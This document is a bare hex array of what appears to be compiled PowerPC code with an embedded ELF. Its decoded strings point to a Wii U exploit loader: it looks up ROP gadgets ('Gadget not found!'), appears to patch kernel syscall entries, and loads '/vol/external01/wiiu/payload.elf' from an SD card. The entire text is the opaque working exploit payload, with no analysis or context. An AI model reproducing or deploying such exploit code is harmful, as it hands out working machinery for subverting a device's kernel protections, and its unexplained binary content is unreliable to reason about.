0x38c10008, 0x80a10044, 0x7c841a14, 0x80610048, 0x4bfffb91, 0x81210008, 0x3c600101, 0x38a10008, 0x6063c56c, 0x80890018, 0x548401ba, 0x64844800, 0x60840003, 0x4bfffac5, 0x3c807c00, 0x3c60fff0, 0x38a10008, 0x608406ac, 0x60632344, 0x4bfffba1, 0x3c804c00, 0x3c60fff0, 0x38a10008, 0x6084012c, 0x60632348, 0x4bfffb89, 0x3c807c70, 0x3c60fff0, 0x38a10008, 0x608483a6, 0x6063234c, 0x4bfffb71, 0x3c807c91, 0x3c60fff0, 0x38a10008, 0x608483a6, 0x60632350, 0x4bfffb59, 0x3c807c00, 0x3c60fff0, 0x38a10008, 0x608406ac, 0x60632354, 0x4bfffb41, 0x3c804c00, 0x3c60fff0, 0x38a10008, 0x6084012c, 0x60632358, 0x4bfffb29, 0x3c804e80, 0x3c60fff0, 0x38a10008, 0x60840020, 0x6063235c, 0x4bfffb11, 0x3c80fff0, 0x3c60ffe8, 0x60842344, 0x60634c94, 0x4bfff301, 0x3c80fff0, 0x3c60ffe8, 0x60842344, 0x60635094, 0x4bfff2ed, 0x3c80fff0, 0x3c60ffe8, 0x60842344, 0x60635494, 0x4bfff2d9, 0x3c80fff0, 0x3c60ffea, 0x60842344, 0x6063aa84, 0x4bfff2c5, 0x3c80fff0, 0x3c60ffea, 0x60842344, 0x6063ae84, 0x4bfff2b1, 0x39200000, 0x91210044, 0x3d200102, 0x6129a3b4, 0x3c600180, 0x7d2903a6, 0x38810048, 0x38632e4b, 0x4e800421, 0x3d200102, 0x6129b828, 0x3ca00180, 0x38c10044, 0x38a52e56, 0x38800000, 0x80610048, 0x7d2903a6, 0x4e800421, 0x81210044, 0x7d2903a6, 0x4e800421, 0x81210064, 0x38600000, 0x7d2903a6, 0x4e800421, 0x39610080, 0x48000280, 0x9421ffb8, 0x3d200102, 0x7c0802a6, 0x6129a3b4, 0x3c600180, 0x9001004c, 0x7d2903a6, 0xbfa1003c, 0x38810028, 0x38632dad, 0x3fe00102, 0x63ffb828, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10020, 0x38a52dba, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c1001c, 0x38a52dc1, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10018, 0x38a52e6a, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10024, 0x38a52dc7, 0x38800001, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10024, 0x38a52de1, 0x38800001, 0x80610028, 0x81210024, 0x83a90000, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10010, 0x38a52e77, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c1000c, 0x38a52e86, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x7fe903a6, 0x38c10008, 0x38a52e95, 0x38800000, 0x80610028, 0x4e800421, 0x3ca00180, 0x38c10014, 0x38a52eaa, 0x7fe903a6, 0x38800000, 0x80610028, 0x4e800421, 0x38800020, 0x7fa903a6, 0x38604000, 0x4e800421, 0x38800008, 0x7c7e1b78, 0x7fa903a6, 0x38601000, 0x4e800421, 0x7c7f1b79, 0x4182000c, 0x2f9e0000, 0x40be001c, 0x3d200103, 0x3c600180, 0x61291618, 0x38632eb7, 0x7d2903a6, 0x4e800421, 0x81610010, 0x3c800180, 0x3940001a, 0x39200000, 0x39004000, 0x38fe4000, 0x38c00000, 0x38a00000, 0x38840c84, 0x7fe3fb78, 0x7d6903a6, 0x4e800421, 0x2f830000, 0x409e001c, 0x3d200103, 0x3c600180, 0x61291618, 0x38632ef3, 0x7d2903a6, 0x4e800421, 0x8121000c, 0x7fe3fb78, 0x7d2903a6, 0x4e800421, 0x81210014, 0x38600000, 0x7d2903a6, 0x4e800421, 0x39610048, 0x48000080, 0x7cc000a6, 0x38e00010, 0x7cc63878, 0x7cc00124, 0x3863ffff, 0x3884ffff, 0x7ca903a6, 0x8ca40001, 0x9ca30001, 0x4200fff8, 0x60c60010, 0x7cc00124, 0x4e800020, 0x38002500, 0x44000002, 0x4e800020, 0x81cbffb8, 0x81ebffbc, 0x820bffc0, 0x822bffc4, 0x824bffc8, 0x826bffcc, 0x828bffd0, 0x82abffd4, 0x82cbffd8, 0x82ebffdc, 0x830bffe0, 0x832bffe4, 0x834bffe8, 0x836bffec, 0x838bfff0, 0x83abfff4, 0x83cbfff8, 0x800b0004, 0x83ebfffc, 0x7c0803a6, 0x7d615b78, 0x4e800020, 0x38003200, 0x44000002, 0x4e800020, 0x38003300, 0x44000002, 0x4e800020, 0x38004700, 0x44000002, 0x4e800020, 0x38004800, 0x44000002, 0x4e800020, 0x80610008, 0x8081000c, 0x80010014, 0x7c0803a6, 0x38210010, 0x4e800020, 0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020, 0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024, 0x44525648, 0x41580000, 0xfff023d4, 0xfff023f4, 0x4f535969, 0x656c6454, 0x68726561, 0x64006d65, 0x6d736574, 0x004f5341, 0x6c6c6f63, 0x46726f6d, 0x53797374, 0x656d004f, 0x53467265, 0x65546f53, 0x79737465, 0x6d00494d, 0x5f536574, 0x44657669, 0x63655374, 0x61746500, 0x494d5f43, 0x6c6f7365, 0x00494d5f, 0x4f70656e, 0x00476164, 0x67657420, 0x6e6f7420, 0x666f756e, 0x64210067, 0x78322e72, 0x706c005f, 0x5f505043, 0x45786974, 0x005f4578, 0x69740044, 0x43466c75, 0x73685261, 0x6e676500, 0x4443496e, 0x76616c69, 0x64617465, 0x52616e67, 0x65004443, 0x546f7563, 0x6852616e, 0x6765004f, 0x53456666, 0x65637469, 0x7665546f, 0x50687973, 0x6963616c, 0x004f5343, 0x72656174, 0x65546872, 0x65616400, 0x4f535265, 0x73756d65, 0x54687265, 0x6164004f, 0x53457869, 0x74546872, 0x65616400, 0x4f534973, 0x54687265, 0x61645465, 0x726d696e, 0x61746564, 0x00475832, 0x53657453, 0x656d6170, 0x686f7265, 0x00475832, 0x466c7573, 0x68004758, 0x32496e69, 0x74004758, 0x32536875, 0x74646f77, 0x6e004661, 0x696c6564, 0x20746f20, 0x63726561, 0x74652074, 0x68726561, 0x64000000, 0x7f454c46, 0x01020100, 0x00000000, 0x00000000, 0x00020014, 0x00000001, 0x011dd000, 0x00000034, 0x000017b8, 0x00000000, 0x00340020, 0x00010028, 0x00040003, 0x00000001, 0x00000054, 0x011dd000, 0x011dd000, 0x0000174c, 0x0000174c, 0x00000005, 0x00000004, 0x9421ffd8, 0x7c0802a6, 0x9001002c, 0x93e10024, 0x7c3f0b78, 0x907f0018, 0x909f001c, 0x48000f95, 0x3d20011e, 0x3869e3b8, 0x48000dd9, 0x907f0008, 0x813f0008, 0x809f001c, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x7c691b78, 0x7d234b78, 0x397f0028, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffd8, 0x7c0802a6, 0x9001002c, 0x93e10024, 0x7c3f0b78, 0x907f0018, 0x3d200102, 0x6129a3b4, 0x395f0008, 0x7d445378, 0x3d40011e, 0x386ae3dc, 0x7d2903a6, 0x4e800421, 0x39200000, 0x913f000c, 0x811f0008, 0x395f000c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae3e8, 0x38800001, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x813f000c, 0x81290000, 0x7d2a4b78, 0x813f0018, 0x91490000, 0x811f0008, 0x395f000c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae404, 0x38800001, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x813f000c, 0x81290000, 0x7d2a4b78, 0x813f0018, 0x91490004, 0x811f0008, 0x813f0018, 0x39490008, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae41c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x3949000c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae424, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x3949001c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae42c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490018, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae43c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490020, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae450, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490010, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae464, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490014, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae47c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490024, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae484, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490028, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae48c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x3949002c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae49c, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490030, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4a8, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490034, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4b8, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490038, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4cc, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x3949003c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4d4, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490040, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4e0, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490044, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4ec, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x39490048, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae4fc, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0008, 0x813f0018, 0x3949004c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae508, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x395f0010, 0x3d200102, 0x6129a3b4, 0x7d445378, 0x3d40011e, 0x386ae514, 0x7d2903a6, 0x4e800421, 0x811f0010, 0x813f0018, 0x39490050, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae520, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x60000000, 0x397f0028, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffe0, 0x7c0802a6, 0x90010024, 0x93a10014, 0x93c10018, 0x93e1001c, 0x7c3f0b78, 0x907f0008, 0x909f000c, 0x83df0008, 0x83bf000c, 0x38600001, 0x38800000, 0x7fa5eb78, 0x38c00000, 0x38e00000, 0x3d000001, 0x7fc9f378, 0x7c3d0b78, 0x38003500, 0x44000002, 0x60000000, 0x7fa1eb78, 0x60000000, 0x397f0020, 0x800b0004, 0x7c0803a6, 0x83abfff4, 0x83cbfff8, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421f9e0, 0x7c0802a6, 0x90010624, 0x93e1061c, 0x7c3f0b78, 0x907f0608, 0x909f060c, 0x90bf0610, 0x90df0614, 0x3920ffff, 0x913f0024, 0x813f0608, 0x81290000, 0x38800004, 0x38601700, 0x7d2903a6, 0x4e800421, 0x907f0014, 0x813f0014, 0x2f890000, 0x409e000c, 0x39200000, 0x4800039c, 0x813f0608, 0x81290000, 0x38800004, 0x38600a80, 0x7d2903a6, 0x4e800421, 0x907f0018, 0x813f0018, 0x2f890000, 0x409e0020, 0x813f0608, 0x81290004, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x39200000, 0x48000358, 0x39200000, 0x913f0008, 0x813f0608, 0x81290024, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290030, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290028, 0x38a0ffff, 0x38800000, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290034, 0x395f0028, 0x38e0ffff, 0x7d465378, 0x38a00000, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x907f001c, 0x813f001c, 0x2f890000, 0x419e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae534, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290038, 0x38df0580, 0x395f0028, 0x3900ffff, 0x38e00080, 0x7d455378, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x907f001c, 0x813f001c, 0x2f890000, 0x419e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae578, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290040, 0x395f0024, 0x3900ffff, 0x7d475378, 0x3d40011e, 0x38cae5b4, 0x80bf060c, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x907f001c, 0x813f001c, 0x2f890000, 0x419e0048, 0x391f0328, 0x3d200102, 0x6129f160, 0x80df060c, 0x3d40011e, 0x38aae5b8, 0x38800254, 0x7d034378, 0x7d2903a6, 0x4cc63182, 0x4e800421, 0x395f0328, 0x3d200103, 0x61291618, 0x7d435378, 0x7d2903a6, 0x4e800421, 0x39200000, 0x913f0338, 0x39200000, 0x913f000c, 0x813f0608, 0x81290044, 0x815f0024, 0x391f0328, 0x38e0ffff, 0x7d064378, 0x7d455378, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0338, 0x2f890000, 0x419e0030, 0x813f0608, 0x81290000, 0x815f0338, 0x394a003f, 0x554a0032, 0x38800040, 0x7d435378, 0x7d2903a6, 0x4e800421, 0x907f000c, 0x4800001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae5dc, 0x7d2903a6, 0x4e800421, 0x39200000, 0x913f0010, 0x48000068, 0x813f0608, 0x81690048, 0x815f000c, 0x813f0010, 0x7caa4a14, 0x815f0338, 0x813f0010, 0x7d295050, 0x7d274b78, 0x811f0024, 0x3940ffff, 0x39200000, 0x38c00001, 0x809f0018, 0x807f0014, 0x7d6903a6, 0x4e800421, 0x907f0020, 0x813f0020, 0x2f890000, 0x409d0028, 0x813f0020, 0x815f0010, 0x7d2a4a14, 0x913f0010, 0x813f0338, 0x815f0010, 0x7f8a4840, 0x419cff90, 0x48000008, 0x60000000, 0x813f0338, 0x815f0010, 0x7f8a4800, 0x419e001c, 0x813f0608, 0x81290004, 0x807f000c, 0x7d2903a6, 0x4e800421, 0x48000024, 0x813f0610, 0x815f000c, 0x91490000, 0x815f0338, 0x813f0614, 0x91490000, 0x39200001, 0x913f0008, 0x813f0608, 0x8129004c, 0x815f0024, 0x38c0ffff, 0x7d455378, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x8129003c, 0x395f0580, 0x38c0ffff, 0x7d455378, 0x809f0018, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x8129002c, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290004, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0608, 0x81290004, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x813f0008, 0x7d234b78, 0x397f0620, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffc8, 0x7c0802a6, 0x9001003c, 0x93e10034, 0x7c3f0b78, 0x907f0028, 0x909f002c, 0x813f002c, 0x913f000c, 0x813f000c, 0x8129001c, 0x2f890000, 0x419e0014, 0x813f000c, 0xa129002c, 0x2f890000, 0x409e000c, 0x39200000, 0x4800041c, 0x813f000c, 0xa129002a, 0x2b890020, 0x419e000c, 0x39200000, 0x48000404, 0x813f000c, 0x8129001c, 0x815f002c, 0x7d2a4a14, 0x913f0010, 0x39200000, 0x913f0008, 0x4800017c, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x81290000, 0x2b890001, 0x409e0140, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x81490010, 0x813f0008, 0x55292834, 0x811f0010, 0x7d284a14, 0x81290014, 0x7f8a4840, 0x419d0118, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x81290010, 0x2f890000, 0x419e0104, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x8129000c, 0x913f0014, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x81290004, 0x815f002c, 0x7d2a4a14, 0x913f0018, 0x813f0028, 0x81290008, 0x80ff0014, 0x815f0008, 0x554a2834, 0x811f0010, 0x7d485214, 0x814a0010, 0x7d455378, 0x809f0018, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x813f0028, 0x8129001c, 0x80ff0014, 0x815f0008, 0x554a2834, 0x811f0010, 0x7d485214, 0x814a0010, 0x7d445378, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x813f0008, 0x55292834, 0x815f0010, 0x7d2a4a14, 0x81290018, 0x552907fe, 0x2f890000, 0x419e004c, 0x813f0028, 0x81290020, 0x80ff0014, 0x815f0008, 0x554a2834, 0x811f0010, 0x7d485214, 0x814a0014, 0x7d445378, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x48000018, 0x60000000, 0x48000010, 0x60000000, 0x48000008, 0x60000000, 0x813f0008, 0x39290001, 0x913f0008, 0x813f000c, 0xa129002c, 0x7d2a4b78, 0x813f0008, 0x7f895000, 0x419cfe74, 0x813f000c, 0x81290020, 0x815f002c, 0x7d2a4a14, 0x913f001c, 0x39200000, 0x913f0008, 0x48000214, 0x813f000c, 0xa1290032, 0x1d290028, 0x815f001c, 0x7d2a4a14, 0x81490010, 0x813f0008, 0x1d290028, 0x811f001c, 0x7d284a14, 0x81290000, 0x7d2a4a14, 0x815f002c, 0x7d2a4a14, 0x913f0020, 0x813f0020, 0x89290000, 0x2b89002e, 0x409e00d0, 0x813f0020, 0x39290001, 0x89290000, 0x2b890062, 0x409e00bc, 0x813f0020, 0x39290002, 0x89290000, 0x2b890073, 0x409e00a8, 0x813f0020, 0x39290003, 0x89290000, 0x2b890073, 0x409e0094, 0x813f0028, 0x8129000c, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a000c, 0x7d475378, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a0014, 0x7d455378, 0x38800000, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x813f0028, 0x8129001c, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a000c, 0x7d475378, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a0014, 0x7d445378, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x480000f0, 0x813f0020, 0x89290000, 0x2b89002e, 0x409e00e0, 0x813f0020, 0x39290001, 0x89290000, 0x2b890073, 0x409e00cc, 0x813f0020, 0x39290002, 0x89290000, 0x2b890062, 0x409e00b8, 0x813f0020, 0x39290003, 0x89290000, 0x2b890073, 0x409e00a4, 0x813f0020, 0x39290004, 0x89290000, 0x2b890073, 0x409e0090, 0x813f0028, 0x8129000c, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a000c, 0x7d475378, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a0014, 0x7d455378, 0x38800000, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x813f0028, 0x8129001c, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a000c, 0x7d475378, 0x815f0008, 0x1d4a0028, 0x811f001c, 0x7d485214, 0x814a0014, 0x7d445378, 0x7ce33b78, 0x7d2903a6, 0x4e800421, 0x813f0008, 0x39290001, 0x913f0008, 0x813f000c, 0xa1290030, 0x7d2a4b78, 0x813f0008, 0x7f895000, 0x419cfddc, 0x813f000c, 0x81290018, 0x7d234b78, 0x397f0038, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ff88, 0x7c0802a6, 0x9001007c, 0x93e10074, 0x7c3f0b78, 0x907f0068, 0x393f000c, 0x7d234b78, 0x4bfff245, 0x39200000, 0x913f0060, 0x39200000, 0x913f0064, 0x391f0064, 0x395f0060, 0x393f000c, 0x7d064378, 0x7d455378, 0x809f0068, 0x7d234b78, 0x4bfff721, 0x813f0060, 0x2f890000, 0x409e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae5ec, 0x7d2903a6, 0x4e800421, 0x815f0060, 0x393f000c, 0x7d445378, 0x7d234b78, 0x4bfffaf9, 0x907f0008, 0x813f0008, 0x2f890000, 0x409e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae614, 0x7d2903a6, 0x4e800421, 0x813f0010, 0x815f0060, 0x7d435378, 0x7d2903a6, 0x4e800421, 0x813f0008, 0x7d234b78, 0x397f0078, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffe0, 0x93e1001c, 0x7c3f0b78, 0x7c0006ac, 0x4c00012c, 0x3d200080, 0x612900ff, 0x913f0008, 0x3d203080, 0x61290012, 0x913f000c, 0x813f0008, 0x7d308ba6, 0x813f000c, 0x7d318ba6, 0x813f0008, 0x913f0010, 0x813f000c, 0x913f0014, 0x813f0010, 0x7d3a8ba6, 0x813f0014, 0x7d3b8ba6, 0x7c0006ac, 0x4c00012c, 0x60000000, 0x397f0020, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffe8, 0x7c0802a6, 0x9001001c, 0x93e10014, 0x7c3f0b78, 0x907f0008, 0x909f000c, 0x3d203200, 0x61240012, 0x3d200100, 0x612300ff, 0x48000415, 0x4800041d, 0x60000000, 0x397f0018, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x9421ffb0, 0x7c0802a6, 0x90010054, 0x93e1004c, 0x7c3f0b78, 0x3d20011e, 0x3929dee8, 0x7d244b78, 0x3d20ffe8, 0x61234d48, 0x4bfff519, 0x3d20011e, 0x3929dee8, 0x7d244b78, 0x3d20ffe8, 0x61235148, 0x4bfff501, 0x3d20011e, 0x3929dee8, 0x7d244b78, 0x3d20ffe8, 0x61235548, 0x4bfff4e9, 0x3d20011e, 0x3929dee8, 0x7d244b78, 0x3d20ffea, 0x6123ab38, 0x4bfff4d1, 0x3d20011e, 0x3929dee8, 0x7d244b78, 0x3d20ffea, 0x6123af38, 0x4bfff4b9, 0x395f0020, 0x3d200102, 0x6129a3b4, 0x7d445378, 0x3d40011e, 0x386ae628, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f0028, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae638, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f0024, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae640, 0x38800001, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x813f0024, 0x81290000, 0x913f000c, 0x811f0020, 0x395f0024, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae65c, 0x38800001, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x813f0024, 0x81290000, 0x913f0010, 0x811f0020, 0x395f0034, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae674, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f0038, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae684, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f003c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae694, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f002c, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae6ac, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f0040, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae6bc, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x811f0020, 0x395f0030, 0x3d200102, 0x6129b828, 0x7d465378, 0x3d40011e, 0x38aae6cc, 0x38800000, 0x7d034378, 0x7d2903a6, 0x4e800421, 0x813f000c, 0x38800020, 0x38604000, 0x7d2903a6, 0x4e800421, 0x907f0014, 0x813f000c, 0x38800008, 0x38601000, 0x7d2903a6, 0x4e800421, 0x907f0018, 0x813f0018, 0x2f890000, 0x419e0010, 0x813f0014, 0x2f890000, 0x409e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae6dc, 0x7d2903a6, 0x4e800421, 0x39200000, 0x913f0008, 0x480000f0, 0x813f0028, 0x38a04000, 0x38800000, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0028, 0x38a01000, 0x38800000, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x817f0034, 0x813f0014, 0x38e94000, 0x39400001, 0x813f0008, 0x7d494830, 0x5529043e, 0x39290008, 0x5529043e, 0x7d2a4b78, 0x39200000, 0x39004000, 0x38c00000, 0x38a00000, 0x3c80011e, 0x3884df60, 0x807f0018, 0x7d6903a6, 0x4e800421, 0x907f001c, 0x813f001c, 0x2f890000, 0x409e001c, 0x3d200103, 0x61291618, 0x3d40011e, 0x386ae718, 0x7d2903a6, 0x4e800421, 0x813f0038, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x48000010, 0x813f0030, 0x7d2903a6, 0x4e800421, 0x813f003c, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x7c691b78, 0x2f890000, 0x419effdc, 0x813f0008, 0x39290001, 0x913f0008, 0x813f0008, 0x2f890002, 0x409dff0c, 0x813f0010, 0x807f0014, 0x7d2903a6, 0x4e800421, 0x813f0010, 0x807f0018, 0x7d2903a6, 0x4e800421, 0x60000000, 0x397f0050, 0x800b0004, 0x7c0803a6, 0x83ebfffc, 0x7d615b78, 0x4e800020, 0x38000900, 0x44000002, 0x4e800020, 0x38003600, 0x44000002, 0x4e800020, 0x2f766f6c, 0x2f657874, 0x65726e61, 0x6c30312f, 0x77696975, 0x2f706179, 0x6c6f6164, 0x2e656c66, 0x00000000, 0x636f7265, 0x696e6974, 0x00000000, 0x4d454d41, 0x6c6c6f63, 0x46726f6d, 0x44656661, 0x756c7448, 0x65617045, 0x78000000, 0x4d454d46, 0x72656554, 0x6f446566, 0x61756c74, 0x48656170, 0x00000000, 0x6d656d63, 0x70790000, 0x6d656d73, 0x65740000, 0x4443466c, 0x75736852, 0x616e6765, 0x00000000, 0x4443496e, 0x76616c69, 0x64617465, 0x52616e67, 0x65000000, 0x4943496e, 0x76616c69, 0x64617465, 0x52616e67, 0x65000000, 0x4f534566, 0x66656374, 0x69766554, 0x6f506879, 0x73696361, 0x6c000000, 0x65786974, 0x00000000, 0x4653496e, 0x69740000, 0x46534164, 0x64436c69, 0x656e7445, 0x78000000, 0x46534465, 0x6c436c69, 0x656e7400, 0x4653496e, 0x6974436d, 0x64426c6f, 0x636b0000, 0x46534765, 0x744d6f75, 0x6e74536f, 0x75726365, 0x00000000, 0x46534d6f, 0x756e7400, 0x4653556e, 0x6d6f756e, 0x74000000, 0x46534f70, 0x656e4669, 0x6c650000, 0x46534765, 0x74537461, 0x7446696c, 0x65000000, 0x46535265, 0x61644669, 0x6c650000, 0x4653436c, 0x6f736546, 0x696c6500, 0x73797361, 0x70702e72, 0x706c0000, 0x53595352, 0x656c6175, 0x6e636854, 0x69746c65, 0x00000000, 0x46534765, 0x744d6f75, 0x6e74536f, 0x75726365, 0x20666169, 0x6c65642e, 0x20506c65, 0x61736520, 0x696e7365, 0x72742061, 0x20464154, 0x33322066, 0x6f726d61, 0x74746564, 0x20736420, 0x63617264, 0x2e000000, 0x5344206d, 0x6f756e74, 0x20666169, 0x6c65642e, 0x20506c65, 0x61736520, 0x696e7365, 0x72742061, 0x20464154, 0x33322066, 0x6f726d61, 0x74746564, 0x20736420, 0x63617264, 0x2e000000, 0x72000000, 0x46534f70, 0x656e4669, 0x6c652066, 0x61696c65, 0x642e2046, 0x696c6520, 0x6d697373, 0x696e6720, 0x25730000, 